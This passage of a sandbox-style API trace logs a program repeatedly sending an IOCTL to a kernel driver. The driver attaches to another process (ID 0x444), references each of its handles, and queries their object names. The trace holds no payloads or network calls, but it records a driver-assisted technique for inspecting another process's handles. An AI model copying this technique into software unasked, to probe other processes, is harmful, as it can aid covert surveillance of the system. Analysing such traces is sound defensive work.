lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x144, lpOverlapped=0x0) returned 1 [0113.543] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.543] PsAcquireProcessExitSynchronization () returned 0x0 [0113.543] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.543] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002b78070, HandleInformation=0x0) returned 0x0 [0113.543] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.543] PsReleaseProcessExitSynchronization () returned 0x2 [0113.543] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.543] ObQueryNameString (in: Object=0xfffffa8002b78070, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.543] ObfDereferenceObject (Object=0xfffffa8002b78070) returned 0x11 [0113.543] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.543] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.543] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.543] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0113.543] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.543] PsAcquireProcessExitSynchronization () returned 0x0 [0113.543] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.543] ObReferenceObjectByHandle (in: Handle=0x2d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0113.543] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.543] PsReleaseProcessExitSynchronization () returned 0x2 [0113.543] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.543] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.543] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0113.543] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.543] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.543] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.543] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.544] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.544] PsAcquireProcessExitSynchronization () returned 0x0 [0113.544] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.544] ObReferenceObjectByHandle (in: Handle=0x2e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80114574a0, HandleInformation=0x0) returned 0x0 [0113.544] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.544] PsReleaseProcessExitSynchronization () returned 0x2 [0113.544] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.544] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.544] ObfDereferenceObject (Object=0xfffffa80114574a0) returned 0x1 [0113.544] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.544] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.544] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.544] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.544] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.544] PsAcquireProcessExitSynchronization () returned 0x0 [0113.544] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.544] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80034d7430, HandleInformation=0x0) returned 0x0 [0113.544] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.544] PsReleaseProcessExitSynchronization () returned 0x2 [0113.544] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.544] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.544] ObfDereferenceObject (Object=0xfffffa80034d7430) returned 0x1 [0113.544] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.544] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.544] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.544] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0113.544] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.544] PsAcquireProcessExitSynchronization () returned 0x0 [0113.544] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.544] ObReferenceObjectByHandle (in: Handle=0x338, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00196fbe0, HandleInformation=0x0) returned 0x0 [0113.544] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.544] PsReleaseProcessExitSynchronization () returned 0x2 [0113.544] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.544] ObQueryNameString (in: Object=0xfffff8a00196fbe0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.544] ObfDereferenceObject (Object=0xfffff8a00196fbe0) returned 0x2 [0113.544] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.545] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.545] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.545] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0113.545] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.545] PsAcquireProcessExitSynchronization () returned 0x0 [0113.545] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.545] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0113.545] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.545] PsReleaseProcessExitSynchronization () returned 0x2 [0113.545] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.545] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.545] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0113.545] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.545] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.545] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.545] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0113.545] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.545] PsAcquireProcessExitSynchronization () returned 0x0 [0113.545] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.545] ObReferenceObjectByHandle (in: Handle=0x34c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0113.545] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.545] PsReleaseProcessExitSynchronization () returned 0x2 [0113.545] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.545] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.545] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0113.545] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.545] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.545] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.545] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0113.545] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.545] PsAcquireProcessExitSynchronization () returned 0x0 [0113.545] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.545] ObReferenceObjectByHandle (in: Handle=0x350, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001973760, HandleInformation=0x0) returned 0x0 [0113.545] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.546] PsReleaseProcessExitSynchronization () returned 0x2 [0113.546] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.546] ObQueryNameString (in: Object=0xfffff8a001973760, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.546] ObfDereferenceObject (Object=0xfffff8a001973760) returned 0x2 [0113.546] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.546] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.546] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.546] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.546] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.546] PsAcquireProcessExitSynchronization () returned 0x0 [0113.546] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.546] ObReferenceObjectByHandle (in: Handle=0x378, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80034d1680, HandleInformation=0x0) returned 0x0 [0113.546] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.546] PsReleaseProcessExitSynchronization () returned 0x2 [0113.546] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.546] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.546] ObfDereferenceObject (Object=0xfffffa80034d1680) returned 0x1 [0113.546] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.546] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.546] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.546] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.546] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.546] PsAcquireProcessExitSynchronization () returned 0x0 [0113.546] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.546] ObReferenceObjectByHandle (in: Handle=0x3ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80028d9470, HandleInformation=0x0) returned 0x0 [0113.546] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.546] PsReleaseProcessExitSynchronization () returned 0x2 [0113.546] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.546] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.546] ObfDereferenceObject (Object=0xfffffa80028d9470) returned 0x1 [0113.546] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.546] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.546] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.546] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0113.546] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.547] PsAcquireProcessExitSynchronization () returned 0x0 [0113.547] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.547] ObReferenceObjectByHandle (in: Handle=0x3f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001a97420, HandleInformation=0x0) returned 0x0 [0113.547] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.547] PsReleaseProcessExitSynchronization () returned 0x2 [0113.547] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.547] ObQueryNameString (in: Object=0xfffff8a001a97420, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.547] ObfDereferenceObject (Object=0xfffff8a001a97420) returned 0x2 [0113.547] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.547] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.547] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.547] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0113.547] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.547] PsAcquireProcessExitSynchronization () returned 0x0 [0113.547] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.547] ObReferenceObjectByHandle (in: Handle=0x3fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001ab3eb0, HandleInformation=0x0) returned 0x0 [0113.547] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.547] PsReleaseProcessExitSynchronization () returned 0x2 [0113.547] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.547] ObQueryNameString (in: Object=0xfffff8a001ab3eb0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.547] ObfDereferenceObject (Object=0xfffff8a001ab3eb0) returned 0x2 [0113.547] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.547] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.547] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.547] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0113.547] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.547] PsAcquireProcessExitSynchronization () returned 0x0 [0113.547] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.547] ObReferenceObjectByHandle (in: Handle=0x408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0113.547] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.547] PsReleaseProcessExitSynchronization () returned 0x2 [0113.547] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.547] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.547] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0113.547] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.548] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.548] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.548] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0113.548] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.548] PsAcquireProcessExitSynchronization () returned 0x0 [0113.548] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.548] ObReferenceObjectByHandle (in: Handle=0x410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0113.548] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.548] PsReleaseProcessExitSynchronization () returned 0x2 [0113.548] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.548] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.548] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0113.548] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.548] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.548] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.548] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0113.548] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.548] PsAcquireProcessExitSynchronization () returned 0x0 [0113.548] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.548] ObReferenceObjectByHandle (in: Handle=0x418, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001aaf2e0, HandleInformation=0x0) returned 0x0 [0113.548] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.548] PsReleaseProcessExitSynchronization () returned 0x2 [0113.548] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.548] ObQueryNameString (in: Object=0xfffff8a001aaf2e0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.548] ObfDereferenceObject (Object=0xfffff8a001aaf2e0) returned 0x2 [0113.548] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.548] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.548] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.548] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0113.548] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.548] PsAcquireProcessExitSynchronization () returned 0x0 [0113.548] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.548] ObReferenceObjectByHandle (in: Handle=0x474, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001aa1cc0, HandleInformation=0x0) returned 0x0 [0113.548] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.548] PsReleaseProcessExitSynchronization () 